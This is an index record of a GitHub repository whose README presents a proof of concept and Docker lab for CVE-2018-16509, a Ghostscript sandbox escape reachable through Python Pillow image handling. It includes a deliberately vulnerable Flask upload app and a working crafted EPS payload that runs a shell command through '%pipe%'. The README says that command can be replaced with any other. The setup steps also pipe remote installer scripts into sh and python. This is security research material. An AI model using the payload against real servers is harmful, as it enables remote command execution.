{"id":21593252,"url":"https://github.com/farisv/pil-rce-ghostscript-cve-2018-16509","last_synced_at":"2025-04-10T23:34:13.990Z","repository":{"id":37359573,"uuid":"153072697","full_name":"farisv/PIL-RCE-Ghostscript-CVE-2018-16509","owner":"farisv","description":"PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509","archived":false,"fork":false,"pushed_at":"2021-01-06T01:11:32.000Z","size":8,"stargazers_count":57,"open_issues_count":2,"forks_count":13,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-24T20:22:13.971Z","etag":null,"topics":["docker","ghostscript","pillow","python","web-security"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/farisv.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-10-15T07:44:43.000Z","updated_at":"2025-02-27T07:39:14.000Z","dependencies_parsed_at":"2022-08-09T16:42:20.688Z","dependency_job_id":null,"html_url":"https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/farisv%2FPIL-RCE-Ghostscript-CVE-2018-16509","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/farisv%2FPIL-RCE-Ghostscript-CVE-2018-16509/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/farisv%2FPIL-RCE-Ghostscript-CVE-2018-16509/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/farisv%2FPIL-RCE-Ghostscript-CVE-2018-16509/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/farisv","download_url":"https://codeload.github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248317348,"owners_count":21083519,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["docker","ghostscript","pillow","python","web-security"],"created_at":"2024-11-24T17:11:52.475Z","updated_at":"2025-04-10T23:34:13.972Z","avatar_url":"https://github.com/farisv.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509\n\nInspired by [https://github.com/ysrc/PIL-RCE-By-GhostButt](https://github.com/ysrc/PIL-RCE-By-GhostButt) (PIL/Pillow RCE via CVE-2017-8291). This docker environment version is using the newer version of Ghostscript (v9.23) and newer exploit (CVE-2018-16509).\n\nGhostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page description languages. Somehow, Ghostscript is exist in the production server (e.g. `/usr/local/bin/gs`) even when no application use it directly because Ghostscript is installed as dependency of another software (e.g. ImageMagick). Bunch of vulnerabilities were found in Ghostscript; one of them is CVE-2018-16509 (discovered by Tavis Ormandy from Google Project Zero), a vulnerability that allows exploitation of -dSAFER bypass in Ghostscript before v9.24 to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick or image library in the programming language with Ghotscript wrapper (PIL/Pillow in this example).\n\n## Installation\n\nFor testing and proof of concept, we can try the exploit in a docker environemnt.\n\nInstall the docker/docker-compose on Ubuntu:\n\n```bash\n# Install pip\ncurl -s https://bootstrap.pypa.io/get-pip.py | python\n\n# Install the latest version docker\ncurl -s https://get.docker.com/ | sh\n\n# Run docker service\nservice docker start\n\n# Install docker compose\npip install docker-compose\n```\n\nThe installation steps of docker and docker-compose for others operating system might be slightly different, please refer to the [docker documentation](https://docs.docker.com/) for details.\n\n## Run Environment\n\n```bash\n# Clone the repository\ngit clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git\n\n# Enter the directory of repository\ncd PIL-RCE-Ghostscript-CVE-2018-16509\n\n# Compile environment\ndocker-compose build\n\n# Run environment\ndocker-compose up -d\n```\n\nThe vulnerable Flask app can be accessed in http://127.0.0.1:8000. You can stop the environment after the test.\n\n```\ndocker-compose down -v\n```\n\n## Exploit\n\nYou can upload [rce.jpg](https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509/blob/master/rce.jpg) (a specially-crafted EPS image, not a real JPG) to execute `touch /tmp/got_rce` in the server. For proof, you can execute `docker exec [CONTAINER_ID] ls -alt /tmp`. To get `CONTAINER_ID`, you can check with `docker container ls`. To change the shell execution to other commands, you can change `touch /tmp/got_rce` directly in the `rce.jpg`.\n\n## Analysis\n\nYou can refer to the explanation of vulnerability by Tavis Ormandy in [oss-security](https://seclists.org/oss-sec/2018/q3/142).\n\nYou can check the source code Ghostscript wrapper of PIL/Pillow in [EPSImagePlugin.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py).\n\nThis is the vulnerable code of `app.py`:\n\n```python\n@app.route('/', methods=['GET', 'POST'])\ndef upload_file():\n    if request.method == 'POST':\n        file = request.files.get('image', None)\n\n        if not file:\n            flash('No image found')\n            return redirect(request.url)\n\n        filename = file.filename\n        ext = path.splitext(filename)[1]\n\n        if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):\n            flash('Invalid extension')\n            return redirect(request.url)\n\n        tmp = tempfile.mktemp(\"test\")\n        img_path = \"{}.{}\".format(tmp, ext)\n\n        file.save(img_path)\n\n        img = Image.open(img_path)\n        w, h = img.size\n        ratio = 256.0 / max(w, h)\n\n        resized_img = img.resize((int(w * ratio), int(h * ratio)))\n        resized_img.save(img_path)\n```\n\nContent of uploaded file will be loaded by `img = Image.open(img_path)`. PIL will automatically detect if the image is an EPS image (example: add `%!PS-Adobe-3.0 EPSF-3.0` at the beginning of file) and will call _open() in `EpsImageFile` class in `EPSImagePlugin.py`. To avoid `raise IOError(\"cannot determine EPS bounding box\")`, a bounding box need to be added in the file (example: `%%BoundingBox: -0 -0 100 100`).\n\nThe body of EPS image will be processed by Ghostscript binary with `subprocess` as we can see in `EPSImagePlugin.py` in `Ghostscript` function.\n\n```python\n    # Build Ghostscript command\n    command = [\"gs\",\n               \"-q\",                         # quiet mode\n               \"-g%dx%d\" % size,             # set output geometry (pixels)\n               \"-r%fx%f\" % res,              # set input DPI (dots per inch)\n               \"-dBATCH\",                    # exit after processing\n               \"-dNOPAUSE\",                  # don't pause between pages\n               \"-dSAFER\",                    # safe mode\n               \"-sDEVICE=ppmraw\",            # ppm driver\n               \"-sOutputFile=%s\" % outfile,  # output file\n               \"-c\", \"%d %d translate\" % (-bbox[0], -bbox[1]),\n                                             # adjust for image origin\n               \"-f\", infile,                 # input file\n               \"-c\", \"showpage\",             # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)\n               ]\n\n\n    ....\n\n    try:\n        with open(os.devnull, 'w+b') as devnull:\n            startupinfo = None\n            if sys.platform.startswith('win'):\n                startupinfo = subprocess.STARTUPINFO()\n                startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n            subprocess.check_call(command, stdin=devnull, stdout=devnull,\n                                  startupinfo=startupinfo)\n```\n\nThe code above is called when `load` is called in [Image.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/Image.py) so only open the image will not trigger the vulnerability. Function like `resize`, `crop`, `rotate`, and `save` will call `load` and trigger the vulnerability.\n\nCombined with POC from Tavis Ormandy, we can craft `rce.jpg` for remote shell command execution.\n\n```\n%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: -0 -0 100 100\n\nuserdict /setpagedevice undef\nsave\nlegal\n{ null restore } stopped { pop } if\n{ legal } stopped { pop } if\nrestore\nmark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffarisv%2Fpil-rce-ghostscript-cve-2018-16509","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ffarisv%2Fpil-rce-ghostscript-cve-2018-16509","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffarisv%2Fpil-rce-ghostscript-cve-2018-16509/lists"}